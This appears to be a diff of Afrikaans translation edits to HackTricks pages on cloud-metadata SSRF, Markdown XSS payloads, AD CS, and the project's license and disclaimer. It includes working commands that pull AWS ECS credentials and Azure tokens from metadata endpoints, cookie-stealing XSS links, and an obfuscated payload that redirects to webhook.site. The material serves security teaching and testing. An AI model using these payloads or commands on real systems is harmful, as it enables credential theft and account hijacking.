Jy kan dan **daardie akkrediteerings neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen.
|
||||
|
||||
Om voordeel te trek uit die nuwe geloofsbriewe, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een:
|
||||
Om voordeel te trek uit die nuwe akkrediteerings, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG71[...]
|
||||
@ -94,15 +94,15 @@ Let op die **aws_session_token**, dit is onontbeerlik vir die profiel om te werk
|
||||
|
||||
### SSRF in AWS ECS (Container Service) geloofsbriewe
|
||||
|
||||
**ECS** is 'n logiese groep van EC2-instanties waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuursinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** loop te kompromitteer, sal die **metadata eindpunte verander**.
|
||||
**ECS** is 'n logiese groep van EC2 instansies waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuur infrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** loop te kompromitteer, verander die **metadata eindpunte**.
|
||||
|
||||
As jy _**http://169.254.170.2/v2/credentials/\<GUID>**_ toegang verkry, sal jy die geloofsbriewe van die ECS-masjien vind. Maar eers moet jy die **\<GUID>** vind. Om die \<GUID> te vind, moet jy die **environ** veranderlike **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** binne die masjien lees.\
|
||||
Jy kan dit dalk lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\
|
||||
As jy _**http://169.254.170.2/v2/credentials/\<GUID>**_ toegang verkry, sal jy die geloofsbriewe van die ECS masjien vind. Maar eers moet jy die **\<GUID>** vind. Om die \<GUID> te vind, moet jy die **environ** veranderlike **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** binne die masjien lees.\
|
||||
Jy kan dit lees deur 'n **Path Traversal** te benut na `file:///proc/self/environ`\
|
||||
Die genoemde http adres behoort jou die **AccessKey, SecretKey en token** te gee.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Let daarop dat jy in **sommige gevalle** toegang tot die **EC2 metadata instansie** vanaf die houer sal hê (kyk na die IMDSv2 TTL beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer toegang tot beide die houer IAM rol en die EC2 IAM rol verkry.
|
||||
|
||||
### SSRF vir AWS Lambda
|
||||
@ -133,7 +133,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
||||
```
|
||||
 
|
||||
|
||||
Dan gebruik ons die geloofsbriewe met `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
Dan gebruik ons die inligting met `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
|
||||
## GCP
|
||||
|
||||
@ -143,9 +143,9 @@ Jy kan [**hier die dokumentasie oor metadata eindpunte vind**](https://cloud.goo
|
||||
|
||||
Vereis die HTTP koptekst **`Metadata-Flavor: Google`** en jy kan die metadata eindpunt bereik met die volgende URL's:
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
- http://metadata
|
||||
- [http://169.254.169.254](http://169.254.169.254)
|
||||
- [http://metadata.google.internal](http://metadata.google.internal)
|
||||
- [http://metadata](http://metadata)
|
||||
|
||||
Interessante eindpunte om inligting te onttrek:
|
||||
```bash
|
||||
@ -226,7 +226,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
||||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta vereis NIE 'n kopstuk nie (dankie Mathias Karlsson @avlidienbrunn)
|
||||
Beta vereis NIE 'n kop nie (dankie Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
||||
```
|
||||
### Cloud Functions
|
||||
|
||||
Die metadata-eindpunt werk dieselfde as in VM's, maar sonder sommige eindpunte:
|
||||
Die metadata-eindpunt werk dieselfde as in VMs, maar sonder sommige eindpunte:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
@ -325,41 +325,41 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> [!TIP]
|
||||
> 'n Azure VM kan 1 stelsel bestuurde identiteit en verskeie gebruikers bestuurde identiteite hê. Dit beteken basies dat jy **alle bestuurde identiteite wat aan 'n VM gekoppel is, kan naboots**.
|
||||
>
|
||||
> Wanneer jy 'n toegangstoken vir die metadata-eindpunt aan vra, sal die metadata-diens standaard die **stelsel toegewyde bestuurde identiteit** gebruik om die token te genereer, as daar enige stelsel toegewyde bestuurde identiteit is. As daar net **EEN gebruikers toegewyde bestuurde identiteit** is, sal dit standaard gebruik word. As daar egter geen stelsel toegewyde bestuurde identiteit is nie en daar **meerdere gebruikers toegewyde bestuurde identiteite** is, sal die metadata-diens 'n fout teruggee wat aandui dat daar meerdere bestuurde identiteite is en dit nodig is om **te spesifiseer watter een om te gebruik**.
|
||||
> Wanneer jy 'n toegangstoken vir die metadata-eindpunt aan vra, sal die metadata-diens standaard die **stelsel toegewyde bestuurde identiteit** gebruik om die token te genereer, as daar enige stelsel toegewyde bestuurde identiteit is. In die geval waar daar net **EEN gebruikers toegewyde bestuurde identiteit** is, sal dit standaard gebruik word. As daar egter geen stelsel toegewyde bestuurde identiteit is nie en daar **meerdere gebruikers toegewyde bestuurde identiteite** is, sal die metadata-diens 'n fout teruggee wat aandui dat daar meerdere bestuurde identiteite is en dit nodig is om **te spesifiseer watter een om te gebruik**.
|
||||
>
|
||||
> Ongelukkig kon ek nie enige metadata-eindpunt vind wat al die MI's wat 'n VM het, aandui nie, so om al die toegewyde bestuurde identiteite aan 'n VM uit te vind, kan 'n moeilike taak wees vanuit 'n Red Team perspektief.
|
||||
>
|
||||
> Daarom, om al die aangehegte MI's te vind, kan jy doen:
|
||||
>
|
||||
> - Kry **aangehegte identiteite met az cli** (as jy reeds 'n prinsiep in die Azure-huurder gecompromitteer het)
|
||||
> - Kry **aangehegte identiteite met az cli** (as jy reeds 'n hoof in die Azure-huurder gecompromitteer het)
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - Kry **aangehegte identiteite** deur die standaard aangehegte MI in die metadata te gebruik:
|
||||
> - Kry **aangehegte identiteite** met die standaard aangehegte MI in die metadata:
|
||||
>
|
||||
> ```bash
|
||||
> export API_VERSION="2021-12-13"
|
||||
>
|
||||
> # Kry token van standaard MI
|
||||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
>
|
||||
> # Kry nodige besonderhede
|
||||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
>
|
||||
> # Probeer om aangehegte MI's te kry
|
||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - **Kry al** die gedefinieerde bestuurde identiteite in die huurder en **brute force** om te sien of enige van hulle aan die VM gekoppel is:
|
||||
@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> ```
|
||||
|
||||
> [!CAUTION]
|
||||
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen nie, sal die **standaard MI gebruik word**.
|
||||
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **standaard MI gebruik word**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -427,9 +427,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Azure App & Functions Dienste & Automatiseringsrekeninge
|
||||
> [!WARNING]
|
||||
> Let daarop dat die eindpunt **`http://169.254.169.254/metadata/v1/instanceinfo` nie die `Metadata: True` koptekst vereis nie** wat wonderlik is om die impak van SSRF kwesbaarhede in Azure te toon waar jy nie hierdie koptekst kan byvoeg nie.
|
||||
|
||||
Van die **env** kan jy die waardes van **`IDENTITY_HEADER`** en **`IDENTITY_ENDPOINT`** kry. Dit kan jy gebruik om 'n token te verskaf om met die metadata bediener te praat.
|
||||
### Azure App & Funksies Dienste & Outomatiseringsrekeninge
|
||||
|
||||
Van die **env** kan jy die waardes van **`IDENTITY_HEADER`** en **`IDENTITY_ENDPOINT`** kry. Dit kan jy gebruik om 'n token te verskaf om met die metadata bediener te kommunikeer.
|
||||
|
||||
Meestal wil jy 'n token vir een van hierdie hulpbronne hê:
|
||||
|
||||
@ -439,7 +442,7 @@ Meestal wil jy 'n token vir een van hierdie hulpbronne hê:
|
||||
- [https://management.azure.com](https://management.azure.com/)
|
||||
|
||||
> [!CAUTION]
|
||||
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **verstek MI gebruik word**.
|
||||
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **standaard MI gebruik word**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -524,7 +527,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
|
||||
## IBM Cloud
|
||||
|
||||
> [!WARNING]
|
||||
> Let op dat in IBM is metadata standaard nie geaktiveer nie, so dit is moontlik dat jy dit nie sal kan toegang nie, selfs al is jy binne 'n IBM cloud VM
|
||||
> Let daarop dat metadata in IBM standaard nie geaktiveer is nie, so dit is moontlik dat jy dit nie sal kan toegang nie, selfs al is jy binne 'n IBM cloud VM
|
||||
```bash
|
||||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||||
-H "Metadata-Flavor: ibm"\
|
||||
@ -592,9 +595,9 @@ Kubernetes ETCD kan API-sleutels, interne IP-adresse en poorte hou. Toegang word
|
||||
|
||||
## Docker
|
||||
|
||||
Docker metadata kan plaaslik verkry word, met voorbeelde gegee vir houer- en beeldinligting:
|
||||
Docker metadata kan plaaslik verkry word, met voorbeelde gegee vir houer- en beeldinligting herwinning:
|
||||
|
||||
- Eenvoudige voorbeeld om toegang te verkry tot houers en beelde metadata via die Docker-soket:
|
||||
- Eenvoudige voorbeeld om toegang tot houers en beelde metadata via die Docker-soket te verkry:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- Binne die houer, gebruik curl met die Docker-soket:
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
|
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||||
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
|
||||
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
|
||||
-->
|
||||
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -97,7 +97,7 @@ Fuzzing examples from
|
||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:alert('XSS'))
|
||||
\
|
||||
[citelol]: (javascript:prompt(document.cookie))
|
||||
[lol]: (javascript:prompt(document.cookie))
|
||||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[test](javascript://%0d%0aprompt(1))
|
||||
[test](javascript://%0d%0aprompt(1);com)
|
||||
|
@ -8,14 +8,14 @@
|
||||
> Dit is die **waardes van die HackTricks Projek**:
|
||||
>
|
||||
> - Gee **VRYE** toegang tot **OPVOEDKUNDIGE hacking** hulpbronne aan **AL** die Internet.
|
||||
> - Hacking gaan oor leer, en leer moet so vry as moontlik wees.
|
||||
> - Die doel van hierdie boek is om as 'n omvattende **opvoedkundige hulpbron** te dien.
|
||||
> - Hacking gaan oor leer, en leer moet so vry as moontlik wees.
|
||||
> - Die doel van hierdie boek is om as 'n omvattende **opvoedkundige hulpbron** te dien.
|
||||
> - **BLAK** wonderlike **hacking** tegnieke wat die gemeenskap publiseer en gee die **OORSPRONKLIKE** **SKRYVERS** al die **krediete**.
|
||||
> - **Ons wil nie die krediet van ander mense nie**, ons wil net cool truuks stoor vir almal.
|
||||
> - Ons skryf ook **ons eie navorsing** in HackTricks.
|
||||
> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en sal ons **die leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
|
||||
> - **Ons wil nie die krediet van ander mense nie**, ons wil net cool truuks stoor vir almal.
|
||||
> - Ons skryf ook **ons eie navorsings** in HackTricks.
|
||||
> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en sal ons **die leser aanmoedig om die oorspronklike pos** te besoek vir meer besonderhede.
|
||||
> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is.
|
||||
> - Die HackTricks span het duisende ure gratis gewy **net om die inhoud te organiseer** sodat mense **vinnig kan leer**.
|
||||
> - Die HackTricks span het duisende ure gratis gewy **net om die inhoud te organiseer** sodat mense **vinnig kan leer**.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -44,13 +44,13 @@ Moet nie vergeet om **'n ster in die Github projekte te gee!**
|
||||
>
|
||||
> - **Kan ek 'n paar inhoud van HackTricks kopieer en dit in my blog plaas?**
|
||||
|
||||
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s)** waar die inhoud geneem is te noem nie.
|
||||
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s)** waar die inhoud vandaan gekom het te noem nie.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Hoe kan ek 'n bladsy van HackTricks aanhaal?**
|
||||
> - **Hoe kan ek 'n bladsy van HackTricks?**
|
||||
|
||||
Solank as die skakel **van** die bladsy(s) waar jy die inligting geneem het verskyn, is dit genoeg.\
|
||||
Solank as die skakel **van** die bladsy(e) waar jy die inligting vandaan geneem het verskyn, is dit genoeg.\
|
||||
As jy 'n bibtex nodig het, kan jy iets soos gebruik:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -66,7 +66,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
**Ek verkies om nie**. Dit **gaan niemand bevoordeel nie** aangesien al die **inhoud reeds publiek beskikbaar** is in die amptelike HackTricks boeke gratis.
|
||||
|
||||
As jy bang is dat dit gaan verdwyn, fork dit net in Github of laai dit af, soos ek gesê het, dit is reeds gratis.
|
||||
As jy bang is dat dit sal verdwyn, fork dit net in Github of laai dit af, soos ek gesê het, dit is reeds gratis.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
@ -76,7 +76,7 @@ Die eerste **HackTricks** **waarde** is om **GRATIS** hacking opvoedkundige hulp
|
||||
|
||||
As jy dink HackTricks boeke is gemaak vir **kommersiële doeleindes** is jy **HEELTEMAL VERKEERD**.
|
||||
|
||||
Ons het borge omdat, selfs al is al die inhoud GRATIS, ons wil **die gemeenskap die moontlikheid bied om ons werk te waardeer** as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en **relevante kuberveiligheidsmaatskappye** om HackTricks te borg en om **'n paar advertensies** in die boek te hê, met die **advertensies** altyd geplaas in plekke waar hulle **sigbaar** is maar **nie die leer** proses steur nie as iemand op die inhoud fokus.
|
||||
Ons het borge omdat, selfs al is al die inhoud GRATIS, ons wil **die gemeenskap die moontlikheid bied om ons werk te waardeer** as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en **relevante kuberveiligheid maatskappye** om HackTricks te borg en om **'n paar advertensies** in die boek te hê, wat altyd geplaas word in plekke waar hulle **sigbaar** is maar **nie die leer** proses steur nie as iemand op die inhoud fokus.
|
||||
|
||||
Jy sal nie HackTricks vol irritante advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, omdat HackTricks nie gemaak is vir kommersiële doeleindes nie.
|
||||
|
||||
@ -94,7 +94,7 @@ Let daarop dat om skakels na jou bladsy in HackTricks te hê:
|
||||
|
||||
- Verbeter jou **SEO**
|
||||
- Die inhoud word **vertaal na meer as 15 tale** wat dit moontlik maak vir meer mense om toegang tot hierdie inhoud te hê
|
||||
- **HackTricks moedig** mense aan om **jou bladsy te kyk** (verskeie mense het vir ons genoem dat sedert 'n paar van hulle se bladsye in HackTricks is, hulle meer besoeke ontvang)
|
||||
- **HackTricks moedig** mense aan om **jou bladsy te besoek** (verskeie mense het vir ons genoem dat sedert 'n bladsy van hulle in HackTricks is, hulle meer besoeke ontvang)
|
||||
|
||||
As jy egter steeds wil hê dat die inhoud van jou blog verwyder moet word uit HackTricks, laat weet ons asseblief en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud gebaseer daarop.
|
||||
|
||||
@ -102,7 +102,7 @@ As jy egter steeds wil hê dat die inhoud van jou blog verwyder moet word uit Ha
|
||||
>
|
||||
> - **Wat moet ek doen as ek gekopieerde inhoud in HackTricks vind?**
|
||||
|
||||
Ons **gee altyd die oorspronklike outeurs al die krediet**. As jy 'n bladsy vind met gekopieerde inhoud sonder oorspronklike bron verwysing, laat weet ons en ons sal of **dit verwyder**, **die skakel voor die teks byvoeg**, of **dit herskryf met die skakel**.
|
||||
Ons **gee altyd die oorspronklike outeurs al die krediet**. As jy 'n bladsy vind met gekopieerde inhoud sonder oorspronklike bron verwysing, laat weet ons en ons sal dit of **verwyder**, **die skakel voor die teks byvoeg**, of **herformuleer met die skakel**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
@ -111,7 +111,7 @@ Copyright © Alle regte voorbehou tensy anders vermeld.
|
||||
#### License Summary:
|
||||
|
||||
- Attribution: Jy is vry om:
|
||||
- Share — kopieer en versprei die materiaal in enige medium of formaat.
|
||||
- Share — die materiaal in enige medium of formaat te kopieer en te herverdeel.
|
||||
- Adapt — remix, transformeer, en bou voort op die materiaal.
|
||||
|
||||
#### Additional Terms:
|
||||
@ -125,19 +125,19 @@ Copyright © Alle regte voorbehou tensy anders vermeld.
|
||||
|
||||
Hierdie lisensie gee nie enige handelsmerk of handelsnaam regte in verband met die inhoud nie. Alle handelsmerke en handelsname wat in hierdie blog/boek verskyn, is die eiendom van hul onderskeie eienaars.
|
||||
|
||||
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, asseblief, moenie toegang tot hierdie webwerf verkry nie.**
|
||||
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, asseblief, moenie hierdie webwerf betree nie.**
|
||||
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en informele doeleindes slegs. Die inhoud binne hierdie boek word op 'n 'as is' basis verskaf, en die outeurs en uitgewers maak geen verteenwoordigings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika wat binne hierdie boek bevat is nie. Enige vertroue wat jy op sulke inligting plaas, is dus streng op jou eie risiko.
|
||||
> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en informele doeleindes slegs. Die inhoud binne hierdie boek word op 'n 'as is' basis verskaf, en die outeurs en uitgewers maak geen verteenwoordigings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika wat in hierdie boek bevat is nie. Enige vertroue wat jy op sulke inligting plaas, is dus streng op jou eie risiko.
|
||||
>
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat ontstaan uit verlies van data of winste wat ontstaan uit, of in verband met, die gebruik van hierdie boek.
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat ontstaan uit verlies van data of winste wat voortspruit uit, of in verband met, die gebruik van hierdie boek.
|
||||
>
|
||||
> Verder, die tegnieke en wenke wat in hierdie boek beskryf word, word slegs vir opvoedkundige en informele doeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed nie, en enige gebruik van die inligting wat binne hierdie boek bevat is op die gebruiker se eie risiko en diskresie.
|
||||
> Verder, die tegnieke en wenke wat in hierdie boek beskryf word, word slegs vir opvoedkundige en informele doeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed nie, en enige gebruik van die inligting wat in hierdie boek bevat is, is op die gebruiker se eie risiko en diskresie.
|
||||
>
|
||||
> Die gebruiker is slegs verantwoordelik vir enige aksies wat geneem word op grond van die inligting wat binne hierdie boek bevat is, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke wat hier beskryf word, te implementeer.
|
||||
> Die gebruiker is slegs verantwoordelik vir enige aksies wat geneem word op grond van die inligting wat in hierdie boek bevat is, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke wat hierin beskryf word, te implementeer.
|
||||
>
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers vry te stel van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of skade wat mag voortvloei uit die gebruik van hierdie boek of enige van die inligting wat daarin bevat is.
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of skade wat mag voortvloei uit die gebruik van hierdie boek of enige van die inligting wat daarin bevat is, vry te stel.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -26,7 +26,7 @@
|
||||
AD CS erken CA-sertifikate in 'n AD-woud deur middel van aangewese houers, elk wat unieke rolle dien:
|
||||
|
||||
- Die **Sertifikaatowerhede** houer bevat vertroude wortel CA-sertifikate.
|
||||
- Die **Inskrywingsdienste** houer bevat besonderhede oor Enterprise CA's en hul sertifikaat sjablone.
|
||||
- Die **Inskrywingsdienste** houer bevat Enterprise CA's en hul sertifikaat sjablone.
|
||||
- Die **NTAuthCertificates** objek sluit CA-sertifikate in wat gemagtig is vir AD-outehentisering.
|
||||
- Die **AIA (Authority Information Access)** houer fasiliteer sertifikaatkettingvalidasie met tussenliggende en kruis CA-sertifikate.
|
||||
|
||||
@ -52,12 +52,12 @@ Vir 'n kliënt om 'n sertifikaat aan te vra, moet **inskrywingsregte** toegeken
|
||||
Hierdie regte word gespesifiseer deur middel van Toegang Beheer Inskrywings (ACEs), wat toestemmings soos:
|
||||
|
||||
- **Sertifikaat-Inskrywing** en **Sertifikaat-AutoInskrywing** regte, elk geassosieer met spesifieke GUIDs.
|
||||
- **ExtendedRights**, wat alle uitgebreide toestemmings toelaat.
|
||||
- **VolleBeheer/GemiddeldAlles**, wat volledige beheer oor die sjabloon bied.
|
||||
- **VerlengdeRegte**, wat alle verlengde toestemmings toelaat.
|
||||
- **VolleBeheer/GenerieseAlles**, wat volledige beheer oor die sjabloon bied.
|
||||
|
||||
### Enterprise CA Enrollment Rights
|
||||
|
||||
Die CA se regte word uiteengesit in sy sekuriteitsbeskrywing, toeganklik via die Sertifikaatowerheid bestuurskonsol. Sommige instellings laat selfs laag-geprivilegieerde gebruikers toe om afstandstoegang te hê, wat 'n sekuriteitskwessie kan wees.
|
||||
Die CA se regte word uiteengesit in sy sekuriteitsbeskrywing, toeganklik via die Sertifikaatowerheid bestuurconsole. Sommige instellings laat selfs laag-geprivilegieerde gebruikers toe om afstandstoegang te hê, wat 'n sekuriteitskwessie kan wees.
|
||||
|
||||
### Additional Issuance Controls
|
||||
|
||||
@ -95,11 +95,11 @@ is sentraal tot die vestiging van vertroue vir sertifikaatverifikasie.
|
||||
|
||||
### Veilige Kanaal (Schannel) Verifikasie
|
||||
|
||||
Schannel fasiliteer veilige TLS/SSL verbindings, waar tydens 'n handdruk, die kliënt 'n sertifikaat aanbied wat, indien suksesvol geverifieer, toegang magtig. Die toewysing van 'n sertifikaat aan 'n AD-rekening kan Kerberos se **S4U2Self** funksie of die sertifikaat se **Subject Alternative Name (SAN)** insluit, onder andere metodes.
|
||||
Schannel fasiliteer veilige TLS/SSL verbindings, waar tydens 'n handdruk, die kliënt 'n sertifikaat aanbied wat, indien suksesvol geverifieer, toegang magtig. Die toewysing van 'n sertifikaat aan 'n AD-rekening kan die Kerberos se **S4U2Self** funksie of die sertifikaat se **Subject Alternative Name (SAN)** insluit, onder andere metodes.
|
||||
|
||||
### AD Sertifikaat Dienste Enumerasie
|
||||
|
||||
AD se sertifikaatdienste kan deur LDAP-vrae gelys word, wat inligting oor **Enterprise Certificate Authorities (CAs)** en hul konfigurasies onthul. Dit is toeganklik vir enige domein-geverifieerde gebruiker sonder spesiale voorregte. Gereedskap soos **[Certify](https://github.com/GhostPack/Certify)** en **[Certipy](https://github.com/ly4k/Certipy)** word gebruik vir enumerasie en kwesbaarheidsevaluering in AD CS omgewings.
|
||||
AD se sertifikaatdienste kan deur LDAP-vrae geënumerer word, wat inligting oor **Enterprise Certificate Authorities (CAs)** en hul konfigurasies onthul. Dit is toeganklik vir enige domein-geverifieerde gebruiker sonder spesiale voorregte. Gereedskap soos **[Certify](https://github.com/GhostPack/Certify)** en **[Certipy](https://github.com/ly4k/Certipy)** word gebruik vir enumerasie en kwesbaarheidsevaluering in AD CS omgewings.
|
||||
|
||||
Opdragte om hierdie gereedskap te gebruik sluit in:
|
||||
```bash
|
||||
@ -124,26 +124,26 @@ certutil -v -dstemplate
|
||||
|
||||
| Jaar | ID / Naam | Impak | Sleutel Take-aways |
|
||||
|------|-----------|--------|----------------|
|
||||
